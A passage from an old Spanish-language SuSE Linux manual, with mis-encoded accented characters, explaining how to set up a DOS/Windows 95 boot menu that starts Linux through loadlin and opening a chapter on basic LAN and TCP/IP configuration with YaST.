  9332.        |||||||| menuitem=Win,  Arrancar  Windows...                                                                            |
  9333.        ||||||||                                                                                                                |
  9334.        |||||||| menuitem=DOS,  Arrancar  MS-DOS...                                                                             |
  9335.        |||||||| menuitem=Linux,  Arrancar  Linux...                                                                            |
  9336.        ||||||||                                                                                                                |
  9337.        |||||||| menucolor=15,1                                                                                                 |
  9338.        |||||||| menudefault=Win,5                                                                                              |
  9339.        ||||||||_______________________________________________________________________________________________________________ |
  9340.  
  9341.     Fichero 4.9.3: Ejemplo para config.sys          (1a  parte) para arrancar Linux
  9342.  
  9343.  
  9344.       Bajo  el  r≤tulo  [Menu]      se  definen  las  opciones  del  men·,  su  color  y  el
  9345.       tiempo de espera (segundos) antes del arranque de la opci≤n por defecto.
  9346.  
  9347.  2.   A continuaci≤n se escriben los r≤tulos [Common], [Win], [DOS] y [Lin-
  9348.       ux].  Bajo  Common  se  anotan  los  comandos  vßlidos  para  todas  las  op-
  9349.       ciones y bajo el r≤tulo de cada opci≤n se anotan solo los comando vßlidos
  9350.       para dicha opci≤n.  Para ello se usan las lφneas que se encuentran en el
  9351.       config.sys actual; un ejemplo se muestra en el fichero 4.9.4 en la pßgi-
  9352.       na siguiente.
  9353.  
  9354.       Ahora se guarda el fichero.
  9355.  
  9356.  3.   A continuaci≤n,  abrir el fichero c:\autoexec.bat              .  En este fichero se
  9357.       deben  apuntar  los  mismos  r≤tulos  y  asignarles  comandos  pero  con  una
  9358.       sintaxis un poco diferente.  El r≤tulo elegido en el men· de arranque estß
  9359.       en la variable %config%.  Se puede escribir,  por ejemplo,  algo como lo
  9360.       indicado en el fichero 4.9.5 en la pßgina siguiente.
  9361.  
  9362.  4.   Arrancando ahora la computadora aparece un men· de arranque, el cual
  9363.       da 5 segundos de tiempo para elegir una opci≤n;  despuΘs de este tiem-
  9364.  
  9365.  
  9366.                                                                                                                                    *
  9367.  *   145
  9368. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  9369.  *_______________________________________@
  9370.                            |                                                                                                       *
  9371.  *         |
  9372.                            ________________________________________________________________________________________________________*
  9373.  *________||||
  9374.                            | [Common]                                                                                              *
  9375.  *         |
  9376.                            ||device=c:\dos\himem.sys  /testmem:off                                                                 *
  9377.  *         ||
  9378.                            | device=c:\dos\emm386.exe  noems                                                                       *
  9379.  *         |
  9380.                            | dos=high,umb                                                                                          *
  9381.  *         |
  9382.                            |                                                                                                       *
  9383.  *         |
  9384.                            | files=30                                                                                              *
  9385.  *         |
  9386.                            | buffers=10                                                                                            *
  9387.  *         |
  9388.                            | shell=c:\dos\command.com                                                                              *
  9389.  *         |
  9390.                            |                                                                                                       *
  9391.  *         |
  9392.                            |                                                                                                       *
  9393.  *         |
  9394.                            | [Win]                                                                                                 *
  9395.  *         |
  9396.                            |                                                                                                       *
  9397.  *         |
  9398.                            | devicehigh=c:\dos\dblspace.sys  /move                                                                 *
  9399.  *         |
  9400.                            | devicehigh=c:\cd\slcd.sys  /D:SONY_000  /B:340  /M:P  /V  /C                                          *
  9401.  *         |
  9402.                            |                                                                                                       *
  9403.  *         |
  9404.                            |                                                                                                       *
  9405.  *         |
  9406.                            | [DOS]                                                                                                 *
  9407.  *         |
  9408.                            |                                                                                                       *
  9409.  *         |
  9410.                            | devicehigh=c:\dos\dblspace.sys  /move                                                                 *
  9411.  *         |
  9412.                            | devicehigh=c:\cd\slcd.sys  /D:SONY_000  /B:340  /M:P  /V  /C                                          *
  9413.  *         |
  9414.                            |                                                                                                       *
  9415.  *         |
  9416.                            |                                                                                                       *
  9417.  *         |
  9418.                            | [Linux]                                                                                               *
  9419.  *         |
  9420.                            | shell=c:\loadlin\loadlin.exe  @c:\loadlin\linux.par                                                   *
  9421.  *         |
  9422.                            |                                                                                                       *
  9423.  *         |
  9424.                            |                                                                                                       *
  9425.  *         |
  9426.                            | [Common]                                                                                              *
  9427.  *         |
  9428.                            |                                                                                                       *
  9429.  *         |
  9430.                            | rem  Queda  vacφo                                                                                     *
  9431.  *         |
  9432.                            |_______________________________________________________________________________________________________*
  9433.  *________|||
  9434.  
  9435.                            Fichero|4.9.4: Ejemplo de config.sys          (2a  parte) para el arranque de Linux                     *
  9436.  *         |
  9437.                            ________________________________________________________________________________________________________*
  9438.  *________||||
  9439.                            | @echo  off                                                                                            *
  9440.  *         |
  9441.                            |                                                                                                       *
  9442.  *         |
  9443.                            |                                                                                                       *
  9444.  *         |
  9445.                            | rem  Comandos  para  todas  las  configuraciones                                                      *
  9446.  *         |
  9447.                            | switches=  /f                                                                                         *
  9448.  *         |
  9449.                            |                                                                                                       *
  9450.  *         |
  9451.                            | set  comspec=c:\dos\command.com                                                                       *
  9452.  *         |
  9453.                            | prompt  $p$g                                                                                          *
  9454.  *         |
  9455.                            |                                                                                                       *
  9456.  *         |
  9457.                            | loadhigh  c:\dos\keyb  gr,,c:\dos\keyboard.sys                                                        *
  9458.  *         |
  9459.                            | loadhigh  c:\dos\doskey                                                                               *
  9460.  *         |
  9461.                            |                                                                                                       *
  9462.  *         |
  9463.                            | set  temp=c:\temp                                                                                     *
  9464.  *         |
  9465.                            | loadhigh  c:\dos\mscdex.exe  /D:SONY_000  /E  /V  /L:H                                                *
  9466.  *         |
  9467.                            | c:\logimouse\mouse.exe                                                                                *
  9468.  *         |
  9469.                            |                                                                                                       *
  9470.  *         |
  9471.                            |                                                                                                       *
  9472.  *         |
  9473.                            | goto  %config%                                                                                        *
  9474.  *         |
  9475.                            |                                                                                                       *
  9476.  *         |
  9477.                            |                                                                                                       *
  9478.  *         |
  9479.                            | :Win                                                                                                  *
  9480.  *         |
  9481.                            |                                                                                                       *
  9482.  *         |
  9483.                            | c:\dos\smartdrv.exe  a-  b-  c+  2048  1024                                                           *
  9484.  *         |
  9485.                            | path  c:\windows;c:\dos;c:\util;                                                                      *
  9486.  *         |
  9487.                            |                                                                                                       *
  9488.  *         |
  9489.                            | win                                                                                                   *
  9490.  *         |
  9491.                            | c:\dos\smartdrv  /C                                                                                   *
  9492.  *         |
  9493.                            |                                                                                                       *
  9494.  *         |
  9495.                            | goto  fin                                                                                             *
  9496.  *         |
  9497.                            |                                                                                                       *
  9498.  *         |
  9499.                            | :DOS                                                                                                  *
  9500.  *         |
  9501.                            |                                                                                                       *
  9502.  *         |
  9503.                            | path  c:\dos;c:\util;                                                                                 *
  9504.  *         |
  9505.                            | goto  fin                                                                                             *
  9506.  *         |
  9507.                            |                                                                                                       *
  9508.  *         |
  9509.                            |                                                                                                       *
  9510.  *         |
  9511.                            | :fin                                                                                                  *
  9512.  *         |
  9513.                            |                                                                                                       *
  9514.  *         |
  9515.                            | echo  *  íHasta  la  vista!  *                                                                        *
  9516.  *         |
  9517.                            |_______________________________________________________________________________________________________*
  9518.  *________ |
  9519.  
  9520.                                  Fichero 4.9.5: Ejemplo de autoexec.bat            para el arranque de Linux
  9521.  
  9522.  
  9523. 146
  9524.        ________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
  9525.  *______________________
  9526.  
  9527.  
  9528.  
  9529.       po,  Windows arranca automßticamente.  Si se selecciona `Linux',  Θste
  9530.       arranca y espera que se haga el login.
  9531.  
  9532. 4.9.3      Iniciar Linux desde Windows
  9533.  
  9534. Aquφ se explica c≤mo activar y configurar un icono para Linux, que permite
  9535. arrancarlo desde el sistema Windows 95 que estΘ en marcha:
  9536.  
  9537.  1.   Entrar a la carpeta c:\loadlin         , marcar el fichero startlin.bat            y se-
  9538.       leccionar en el men· de ''Edici≤n'' `Copiar'.
  9539.  
  9540.  2.   Ir a una carpeta o al escritorio seg·n donde se quiera tener el icono de
  9541.       acceso a Linux. Pulsar el bot≤n derecho del mouse y seleccionar `Pegar
  9542.       acceso  directo'.
  9543.  
  9544.  3.   Marcar  el  acceso  directo  reciΘn  creado  y  pulsar  el  bot≤n  derecho  del
  9545.       mouse.   Seleccionar  `Propiedades'.   Entrar  en  la  ficha  `Programa'
  9546.       y pulsar sobre el bot≤n `Avanzada...'.  Marcar la casilla `Modo  MS-
  9547.       DOS' y confirmar con `Aceptar'.
  9548.  
  9549.  4.   Con el bot≤n `Cambiar  icono...'  se puede elegir un icono diferente
  9550.       y finalmente dar un nombre adecuado al acceso directo. íListo!
  9551.  
  9552.  5.   Un doble-click sobre el sφmbolo muestra una pantalla de advertencia in-
  9553.       dicando que Windows 95 estß por entrar en el modo MS-DOS. Si no se
  9554.       quiere ver la advertencia, se desactiva en las propiedades del acceso di-
  9555.       recto.
  9556.  
  9557.  
  9558. 4.9.4      El men· de arranque de Windows
  9559.  
  9560. Asφ se ajusta el men· de arranque de Windows 95:
  9561.  
  9562.  1.   Primero hay que editar el fichero c:\msdos.sys           . Para ello hay que hacer
  9563.       el fichero visible con:
  9564.  
  9565.       C:>  attrib  -R  -S  -H  c:\msdos.sys
  9566.  
  9567.       Es  un  fichero  de  texto  en  el  cual  hay  que  a±adir  un  par  de  lφneas  para
  9568.       activar el men· de inicio propio de Windows 95. Lo que se encuentra bajo
  9569.       la etiqueta [Options]         deberφa parecerse a lo indicado en el fichero 4.9.6.
  9570.  
  9571.        _______________________________________________________________________________________________________________________||
  9572.        |||||||| [Options]                                                                                                      |
  9573.        |||||||| BootGUI=0                                                                                                      |
  9574.        ||||||||                                                                                                                |
  9575.        |||||||| BootDelay=0                                                                                                    |
  9576.        |||||||| BootMenu=0                                                                                                     |
  9577.        ||||||||                                                                                                                |
  9578.        |||||||| Logo=0                                                                                                         |
  9579.        ||||||||_______________________________________________________________________________________________________________ |
  9580.  
  9581.                   Fichero 4.9.6: msdos.sys         para el arranque de Linux
  9582.  
  9583.  
  9584.       El parßmetro Logo=0       es opcional y evita que Windows 95 entre al modo
  9585.       grßfico antes de arrancar.  Arrancar asφ es mßs rßpido y ademßs se tiene
  9586.       menos problemas si se usa mßs tarde el emulador de DOS.
  9587.  
  9588.       El parßmetro BootGUI=0          hace, que Windows 95 arranque directamente
  9589.       en modo MS-DOS. Una vez editado el fichero se pone a sus atributos los
  9590.       valores originales. Para arrancar ahora Windows hay que introducir en el
  9591.       prompt de DOS:
  9592.  
  9593.  
  9594.                                                                                                                                    *
  9595.  *   147
  9596. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  9597.  *_______________________________________@
  9598.  
  9599.  
  9600.  
  9601.                                  C:>  win
  9602.                                  Nuestro fichero de ejemplo c:\autoexec.bat              ya lo hace si se ha elegido
  9603.                                  Win95 en el men·.
  9604.  
  9605.                             2.   Ahora se debe definir en el fichero c:\config.sys             el propio men· de
  9606.                                  arranque.  Para ello se introduce al comienzo del fichero, por ejemplo el
  9607.                                  contenido del fichero 4.9.7.
  9608.                            ________________________________________________________________________________________________________*
  9609.  *________||
  9610.                            | [Menu]                                                                                                *
  9611.  *         |
  9612.                            | menuitem=Win95,  Arrancar  Windows  95...                                                             *
  9613.  *         |
  9614.                            |                                                                                                       *
  9615.  *         |
  9616.                            | menuitem=DOS,  Arrancar  MS-DOS...                                                                    *
  9617.  *         |
  9618.                            | menuitem=Linux,  Arrancar  Linux...                                                                   *
  9619.  *         |
  9620.                            |                                                                                                       *
  9621.  *         |
  9622.                            | menudefault=Win95,5                                                                                   *
  9623.  *         |
  9624.                            |_______________________________________________________________________________________________________*
  9625.  *________ |
  9626.  
  9627.                            Fichero 4.9.7: Ejemplo de config.sys          (1a  parte) para el arranque de Linux
  9628.                            bajo Windows 95
  9629.  
  9630.  
  9631.                                  Las opciones del men· de arranque se definen bajo el r≤tulo [Menu]       tal
  9632.                                  como los segundos de espera y la opci≤n por defecto.
  9633.  
  9634.                             3.   Mßs  abajo  estarßn  los  r≤tulos  [Win95]      ,  [DOS]    ,  [Linux]       y  [Common]       .
  9635.                                  Bajo  [Common]        se  apuntan  los  comandos  que  deben  valer  siempre  (no
  9636.                                  deberφan  ser  muchos  para  Windows  95)  y  bajo  cada  distinto  r≤tulo  se
  9637.                                  anotan los que solo valen para la opci≤n en concreto.  Para esto se usan
  9638.                                  las  lφneas  que  se  encuentran  en  el  config.sys  actual;  el  ejemplo  del
  9639.                            |     fichero 4.9.8 puede servir como idea inicial.                                                     *
  9640.  *         |
  9641.  
  9642.                            ________________________________________________________________________________________________________*
  9643.  *________||||
  9644.                            | [Win95]                                                                                               *
  9645.  *         |
  9646.                            | dos=high,umb                                                                                          *
  9647.  *         |
  9648.                            |                                                                                                       *
  9649.  *         |
  9650.                            | device=c:\windows\himem.sys  /testmem:off                                                             *
  9651.  *         |
  9652.                            |                                                                                                       *
  9653.  *         |
  9654.                            | [DOS]                                                                                                 *
  9655.  *         |
  9656.                            |                                                                                                       *
  9657.  *         |
  9658.                            | device=c:\plugplay\drivers\dos\dwcfgmg.sys                                                            *
  9659.  *         |
  9660.                            | dos=high,umb                                                                                          *
  9661.  *         |
  9662.                            |                                                                                                       *
  9663.  *         |
  9664.                            | device=c:\windows\himem.sys  /testmem:off                                                             *
  9665.  *         |
  9666.                            | device=c:\windows\emm386.exe  noems  I=B000-B7FF                                                      *
  9667.  *         |
  9668.                            |                                                                                                       *
  9669.  *         |
  9670.                            | devicehigh=c:\cdrom\torisan.sys  /D:TSYCD3  /P:SM                                                     *
  9671.  *         |
  9672.                            |                                                                                                       *
  9673.  *         |
  9674.                            |                                                                                                       *
  9675.  *         |
  9676.                            | [Linux]                                                                                               *
  9677.  *         |
  9678.                            | shell=c:\loadlin\loadlin.exe  @c:\loadlin\linux.par                                                   *
  9679.  *         |
  9680.                            |                                                                                                       *
  9681.  *         |
  9682.                            |                                                                                                       *
  9683.  *         |
  9684.                            | [Common]                                                                                              *
  9685.  *         |
  9686.                            | accdate=C+  D+  H+                                                                                    *
  9687.  *         |
  9688.                            |                                                                                                       *
  9689.  *         |
  9690.                            | switches=  /F  buffers=20                                                                             *
  9691.  *         |
  9692.                            |_______________________________________________________________________________________________________*
  9693.  *________ |
  9694.  
  9695.                            Fichero 4.9.8: Ejemplo de config.sys          (2a  parte) para el arranque de Linux
  9696.                            bajo Windows 95
  9697.  
  9698.  
  9699.                                  Ahora se guarda el fichero.
  9700.  
  9701.                             4.   A  continuaci≤n,  abrir  el  fichero  c:\autoexec.bat             .   En  Θste  se  deben
  9702.                                  apuntar  los  mismos  r≤tulos  y  asignar  comandos  pero  con  una  sintaxis
  9703.                                  un  poco  diferente.  El  r≤tulo  elegido  en  el  men·  de  arranque  estß  en  la
  9704.  
  9705.  
  9706. 148
  9707.        ________________________________________4.9.__Configuraci≤n_del_mecanismo_de_arranque_con_loadlin___________________________*
  9708.  *______________________
  9709.  
  9710.  
  9711.  
  9712.       variable %config%. Se puede escribir, por ejemplo, algo como lo indicado
  9713.       en|el|fichero|4.9.9.                                                                                                     |
  9714.        _______________________________________________________________________________________________________________________||||
  9715.        |||||||| @echo  off                                                                                                     |
  9716.        |||||||| loadhigh  keyb  gr,,c:\windows\command\keyboard.sys                                                            |
  9717.        |||||||| goto  %config%                                                                                                 |
  9718.        ||||||||                                                                                                                |
  9719.        ||||||||                                                                                                                |
  9720.        |||||||| :Win95                                                                                                         |
  9721.        ||||||||                                                                                                                |
  9722.        |||||||| win                                                                                                            |
  9723.        |||||||| goto  fin                                                                                                      |
  9724.        ||||||||                                                                                                                |
  9725.        ||||||||                                                                                                                |
  9726.        |||||||| :DOS                                                                                                           |
  9727.        ||||||||                                                                                                                |
  9728.        |||||||| path  c:.;d:.;c:\windows\command;c:\util;                                                                      |
  9729.        |||||||| loadhigh  c:\windows\command\mscdex.exe  /D:TSYCD3  /L:x                                                       |
  9730.        |||||||| loadhigh  c:\windows\command\doskey                                                                            |
  9731.        ||||||||                                                                                                                |
  9732.        |||||||| c:\windows\command\mouse.exe                                                                                   |
  9733.        |||||||| goto  fin                                                                                                      |
  9734.        ||||||||                                                                                                                |
  9735.        ||||||||                                                                                                                |
  9736.        |||||||| :fin                                                                                                           |
  9737.        ||||||||                                                                                                                |
  9738.        |||||||| echo  *  ┐Y  ahora  quΘ?  *                                                                                    |
  9739.        ||||||||_______________________________________________________________________________________________________________ |
  9740.  
  9741. Fichero  4.9.9:  Ejemplo  de  autoexec.bat            para  el  arranque  de  Linux  bajo
  9742. Windows 95
  9743.  
  9744.  
  9745.  5.   Arrancando ahora la computadora aparece el propio men· de arranque y
  9746.       se tiene 5 segundos de tiempo para elegir una opci≤n.  DespuΘs de este
  9747.       lapso de tiempo Windows 95 arranca automßticamente.  Si se selecciona
  9748.       `Linux', Θste arranca y espera que se haga el login.
  9749.  
  9750.                                                                                                                                    *
  9751.  *   149
  9752. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  9753.  *_______________________________________@
  9754.  
  9755. 150
  9756.  
  9757.                            Parte  III
  9758.  
  9759.  
  9760. Configuraci≤n   de   red
  9761.  
  9762.  
  9763.                                                                                                                        151
  9764.  
  9765.  
  9766.                                                                                                            Capφtulo  5
  9767.                                                                                 Linux   en   la   red
  9768.  
  9769.  
  9770.  
  9771. Conexiones de red:  Una visi≤n global
  9772.  
  9773. En la Θpoca actual de las telecomunicaciones,  la cantidad de computadoras
  9774. conectadas  vφa  red  es  tan  grande  que  ya  casi  no  se  encuentran  mßquinas
  9775. que no estΘn conectadas a una red ~ como mφnimo temporalmente.  Linux,
  9776. que  naci≤  en  +  Internet  solventa  todas  las  necesidades  y  ofrece  todas  las
  9777. herramientas necesarias para incorporarse en distintos entornos de red.
  9778.  
  9779. Este capφtulo resume los pasos necesarios para crear y mantener una conexi≤n
  9780. de red; se presentan los ficheros de configuraci≤n centrales y algunas de las
  9781. herramientas de mantenimiento mßs importantes.
  9782.  
  9783. Primero se explica c≤mo instalar, una computadora con Linux, en una red de
  9784. ßrea local (ingl. +  LAN) y c≤mo se construye una peque±a +  Red formada por
  9785. computadoras Linux, continuando con la conexi≤n vφa modem. Este apartado
  9786. trata  especialmente  sobre  el  enlace  con  Internet  sirviΘndose  del  protocolo
  9787. PPP; ademßs, hay explicaciones extensas sobre la configuraci≤n de un acceso
  9788. RDSI. Para terminar, se expone brevemente la configuraci≤n de los sistemas
  9789. de correo y de noticias y se presenta un sistema de envφo de Fax bajo Linux.
  9790.  
  9791. YaST  sirve para casi toda la configuraci≤n de cualquier red (ver apartado 3.7
  9792. en  la  pßgina  102Administraci≤n  del  sistemasection.3.7  y  apartado  17.6
  9793. en  la  pßgina  437Las  variables  en  /etc/rc.config               ~  Configuraci≤n  de
  9794. sistemasection.17.6).  No  obstante  tambiΘn  se  explican  en  este  capφtulo  los
  9795. mecanismos bßsicos de configuraci≤n y se indican los ficheros necesarios, ya
  9796. que una red puede ser de una complejidad casi infinita.
  9797.  
  9798.  
  9799. Conexiones en una red de ßrea local (LAN)
  9800.  
  9801. No es algo complicado incorporar una computadora de Linux en una red de
  9802. ßrea local (LAN) formada por otras computadoras con Unix o Linux.  Hay
  9803. algunos pocos requisitos a cumplir pero estos no imponen ninguna restricci≤n
  9804. especial sobre el uso de Linux en redes.
  9805.  
  9806.  
  9807. Requisitos, Preparativos
  9808.  
  9809. Linux  soporta  ya  una  gran  cantidad  de  tarjetas  de  red  ~  Ethernet,  Arcnet,
  9810. algunas tarjetas TokenRing ~ y ademßs, conoce casi todos los protocolos de
  9811. red  de  mayor  difusi≤n  como  TCP/IP,  IPX  y  AppleTalk.   El  ßmbito  de  este
  9812. capitulo no permite, ni de cerca, cubrir todas las configuraciones posibles. Es
  9813.  
  9814.  
  9815.                                                                                                                                    *
  9816.  *   153
  9817. 5.  Linux en la red________________________________________________________________________________________________________________*
  9818.  *_______________________________________@
  9819.  
  9820.  
  9821.  
  9822.                            por eso que se discute solamente el caso normal, que es el de la instalaci≤n
  9823.                            de  una  computadora  Linux  con  tarjeta  Ethernet  en  una  red  con  protocolo
  9824.                            TCP/IP.  Hay  informaci≤n  actualizada  sobre  la  configuraci≤n  de  otras  redes
  9825.                            p. ej.  en /usr/src/linux/Documentation junto con las fuentes de kernel.
  9826.                            La ayuda en el programa de configuraci≤n del kernel es otra buena fuente de
  9827.                            informaci≤n.
  9828.  
  9829.                            Se tienen que cumplir los siguientes requisitos:
  9830.  
  9831.                              o   La tarjeta red de la computadora debe ser soportada y Linux la reconoce
  9832.                                  bien si el resultado del comando:
  9833.                                       tierra:~  #  /sbin/ifconfig
  9834.  
  9835.                                  contiene una lφnea que comienza con eth0:     .
  9836.                            ________________________________________________________________________________________________________*
  9837.  *________||
  9838.                            |  Si se realiza el soporte de la tarjeta red con un m≤dulo de kernel ~ caso                            *
  9839.  *        ||||
  9840.                            |                                                                                                       *
  9841.  *        |||
  9842.                            |  por omisi≤n del kernel de SuSE     ~ el nombre del m≤dulo tiene que figurar                          *
  9843.  *        |||
  9844.                            |                                                                                                       *
  9845.  *        |||
  9846.                            |  como alias en /etc/modules.conf. Para la primera tarjeta Ethernet serφa                              *
  9847.  *        |||
  9848.                            |  entonces:                                                                                            *
  9849.  *        |||
  9850.                            |                                                                                                       *
  9851.  *        |||
  9852.                            |  alias  eth0  tulip                                                                                   *
  9853.  *        |||
  9854.                            |  Esto se hace automßticamente, cargando durante la primera instalaci≤n en                             *
  9855.  *        |||
  9856.                            |                                                                                                       *
  9857.  *        |||
  9858.                            |  Linuxrc  el driver para la tarjeta red.  Se puede hacer lo mismo posterior-                          *
  9859.  *        |||
  9860.                            |                                                                                                       *
  9861.  *        |||
  9862.                            |  mente desde YaST  (ver apartado 3.7.1 en la pßgina 102Instalar hardware                              *
  9863.  *        |||
  9864.                            |  en el sistemasubsection.3.7.1).                                                                      *
  9865.  *        |||
  9866.                            |_______________________________________________________________________________________________________*
  9867.  *________|||_
  9868.  
  9869.                            Cumpliendo  los  requisitos  mencionados,  lo  ·nico  que  queda  antes  de  con-
  9870.                            figurar  la  red  es  echar  un  vistazo  a  los  tΘrminos  de  la  tabla  5.1  en  la  pßgi-
  9871.                            na 156Requisitos, Preparativostable.5.1.
  9872.  
  9873.                             _______________________________________________________________________________________________________*
  9874.  *_________
  9875.  
  9876.                               Nombre de computa-                  El nombre que la computadora debe tener en la
  9877.                               dora                                red, p. ej.  tierra     . El nombre no debe tener mßs
  9878.                                                                   que ocho caracteres y no debe estar asignado a
  9879.                                                                   ninguna computadora en la red local.
  9880.                               Nombre de dominio                   El  nombre  de  dominio  al  cual  pertenecerß  la
  9881.                                                                   computadora. Los dominios sirven para la clasi-
  9882.                                                                   ficaci≤n de las redes.  Se accede a una computa-
  9883.                                                                   dora mediante un nombre de dominio totalmente
  9884.                                                                   cualificado  (ingl.  fully  qualified  domain  name
  9885.                                                                   (FQDN))  que  se  constituye  por  el  nombre  de
  9886.                                                                   la mßquina, el del dominio y el del dominio de
  9887.                                                                   primer nivel.  Asφ p. ej.   tierra.cosmos.univ
  9888.                                                                   es   la   computadora   tierra        en   el   dominio
  9889.                                                                   cosmos.univ          .   El  dominio  de  primer  nivel  no
  9890.                                                                   puede estar formado por mßs de cuatro letras. La
  9891.                                                                   plantilla para un nombre de computadora total-
  9892.                                                                   mente  cualificado  es  Nombre_Computadora.
  9893.                                                                   Nombre_Dominio.Dominio_Primer_Nivel.
  9894.  
  9895.                             _______________________________________________________________________________________________________*
  9896.  *_________
  9897.  
  9898.                                                    Tabla 5.1: Contin·a en la pßgina siguiente ...
  9899.  
  9900.  
  9901. 154
  9902.     _______________________________________________________________________________________________________5.__Linux_en_la_red_____*
  9903.  *___________________
  9904.  
  9905.     ______________________________________________________________________________________________________________________
  9906.  
  9907.  
  9908. Direcci≤n IP                         La direcci≤n de la computadora en la red.  Cada
  9909.                                      ordenador tiene para cada interfaz de red (p. ej.
  9910.                                      una tarjeta Ethernet o RDSI) por lo menos una
  9911.                                      direcci≤n  ·nica  en  toda  la  red.    Seg·n  el  es-
  9912.                                      tßndar  vigente,  esta  direcci≤n  se  compone  de
  9913.                                      una  secuencia  de  cuatro  bytes  que  se  apun-
  9914.                                      tan  generalmente  separados  por  puntos  (p. ej.
  9915.                                      192.168.0.20          ).
  9916.                                      Al asignar las direcciones IP se deberφa contem-
  9917.                                      plar un posible enlace posterior con Internet.  Si
  9918.                                      este  enlace  estß  planeado,  se  recomienda  usar
  9919.                                      desde un principio direcciones registradas.
  9920.                                      En  la  norma  RFC  1597  hay  tres  intervalos  de
  9921.                                      direcciones  previstas  para  el  uso  privado,  que
  9922.                                      no  pueden  provocar  problemas  en  caso  de  una
  9923.                                      conexi≤n  accidental  a  Internet,  porque  se  trata
  9924.                                      de direcciones cuyos datos no se ''rutean'' (no se
  9925.                                      transfieren) entre las diferentes computadoras en
  9926.                                      Internet. Los intervalos de direcciones son:
  9927.  
  9928.                                        10.0.0.0          )      10.255.255.255          (Red de clase A)
  9929.                                        172.16.0.0        )      172.31.255.255          (Red de clase B)
  9930.                                        192.168.0.0       )      192.168.255.255         (Red de clase C)
  9931.  
  9932.  
  9933.                                      Hay  algunas  direcciones  IP  que  no  estßn  pre-
  9934.                                      vistas para computadoras, ya que cumplen fun-
  9935.                                      ciones  especiales.    Por  ejemplo,  la  direcci≤n
  9936.                                      192.168.0.0           estß reservada para la red misma
  9937.                                      y 192.168.0.255             es la direcci≤n correspondi-
  9938.                                      ente de Broadcast (direcci≤n de difusi≤n).
  9939. Direcci≤n de gateway                 La direcci≤n del ''Gateway'' en la red.   El Gate-
  9940.                                      way es una computadora que se encuentra dentro
  9941.                                      de mßs de una red y que se encarga de traspasar
  9942.                                      paquetes de informaci≤n de una red a la otra.
  9943. Mßscara de red                       La mßscara de red (ingl. netmask) determina en
  9944.                                      cußl  red  se  encuentra  una  cierta  direcci≤n.   La
  9945.                                      direcci≤n IP de la computadora se relaciona por
  9946.                                      un  AND  l≤gico  con  la  mßscara  de  red,  por  lo
  9947.                                      tanto ''tapa'' la parte de la direcci≤n que corre-
  9948.                                      sponde al host , asφ que solo queda la direcci≤n
  9949.                                      de  la  red.   Una  mßscara  de  red  muy  tφpica  es
  9950.                                      255.255.255.0           .
  9951.  
  9952.     ______________________________________________________________________________________________________________________
  9953.  
  9954.                      Tabla 5.1: Contin·a en la pßgina siguiente ...
  9955.  
  9956.                                                                                                                                    *
  9957.  *155
  9958. 5.  Linux en la red________________________________________________________________________________________________________________*
  9959.  *_______________________________________@
  9960.  
  9961.                             _______________________________________________________________________________________________________*
  9962.  *_________
  9963.  
  9964.  
  9965.                               Direcci≤n  del  servi-              El  servidor  de  nombres  (DNS,   DomainName-
  9966.                               dor de nombres                      Service)  ofrece  el  servicio  de  conversi≤n  de
  9967.                                                                   nombres  de  computadoras  en  direcciones  IP.
  9968.                                                                   Asφ  se  asigna  p. ej.  a  tierra       la  direcci≤n  IP
  9969.                                                                   192.168.0.20           .   Si  hay  acceso  a  un  servidor
  9970.                                                                   de nombres a travΘs de la red,  es necesario in-
  9971.                                                                   dicar su direcci≤n IP durante la configuraci≤n de
  9972.                                                                   la red.
  9973.  
  9974.                             _______________________________________________________________________________________________________*
  9975.  *_________
  9976.  
  9977.                                                 Tabla 5.1: Variables para la configuraci≤n de red
  9978.                            5.1       Configuraci≤n con YaST
  9979.  
  9980.                            Con la informaci≤n suministrada anteriormente no deberφan presentarse prob-
  9981.                            lemas al configurar la red con YaST . Tenga en cuenta lo que se ha mencionado
  9982.                            en el apartado 5 en la pßgina 153Requisitos, Preparativoschapter.5.
  9983.  
  9984.                             1.   Entre al sistema como usuario `root'.
  9985.  
  9986.                             2.   Inicie YaST y entre al men· `Administraci≤n  del  sistema', `Con-
  9987.                                  figuraci≤n  de  red', `Configuraci≤n  bßsica  de  red'.
  9988.  
  9989.  
  9990.                                                    Figura 5.1: Configuraci≤n de red con YaST
  9991.  
  9992.  
  9993.                             3.   Seleccione un `N·mero' libre, p. ej.  0 .
  9994.  
  9995.                             4.   Pulse  |____|F5para  seleccionar  `Ethernet'  como  dispositivo,  y  salga  del
  9996.                                  cuadro de dißlogo seleccionando `Continuar'.
  9997.  
  9998.                             5.   Pulse |F____|6(`IP'), e introduzca la direcci≤n IP de la computadora,  p. ej.
  9999.                                  192.168.0.20           .   A  continuaci≤n  es  preciso  indicar  la  mßscara  de  red.
  10000.                                  Esta es tφpicamente 255.255.255.0             para una sub-red de la clase C, que
  10001.                                  contiene hasta 254 computadoras.  Si no existe ninguna computadora en
  10002.                                  la red que funcione como Gateway, no se debe indicar nada aquφ; vΘase la
  10003.                                  figura 5.1.
  10004.  
  10005.  
  10006. 156
  10007.         _________________________________________________5.2.__Configuraci≤n_manual_de_la_red_~_┐D≤nde_tocar?______________________*
  10008.  *_______________________
  10009.  
  10010.  
  10011.  
  10012.   6.   Salga de la pantalla seleccionando `Continuar'.
  10013.   7.   Active el dispositivo de red con |F___|_4.
  10014.  
  10015.   8.   Pulsando | _____|F10se  guarda__la  configuraci≤n.   Para  salir  de  la  pantalla  sin
  10016.        guardar los cambios pulse |E____s|c.
  10017.   9.   La opci≤n `Cambiar  nombre  del  host' permite otorgar un nombre a
  10018.        la computadora o el cambio del mismo. El cuadro de dißlogo pide tambiΘn
  10019.        la introducci≤n del nombre de dominio al cual pertenece la computadora.
  10020. 10.    Con  la  opci≤n  `Configurar  servicios  de  red'  se  puede  decidir
  10021.        cußles servicios de red se deben activar durante el arranque. Estos pueden
  10022.        ser el inetd , el programa portmap  y el servidor NFS. TambiΘn se deter-
  10023.        mina cußl nombre de computadora y dominio debe aparecer en la lφnea
  10024.        ''From'', enviando mensajes al USENET.
  10025.  
  10026.        o   El inetd  sirve para iniciar determinados servicios de red (p. ej.  telnet,
  10027.            finger, ftp etc.)  en el momento necesario.  Se aconseja iniciar el inetd
  10028.            en cada arranque de sistema, ya que, sin su presencia, no se pueden ac-
  10029.            tivar muchos servicios de red; si su sistema estß expuesto a intrusiones,
  10030.            tenga en cuenta los consejos del apartado 18.2.2 en la pßgina 461El in-
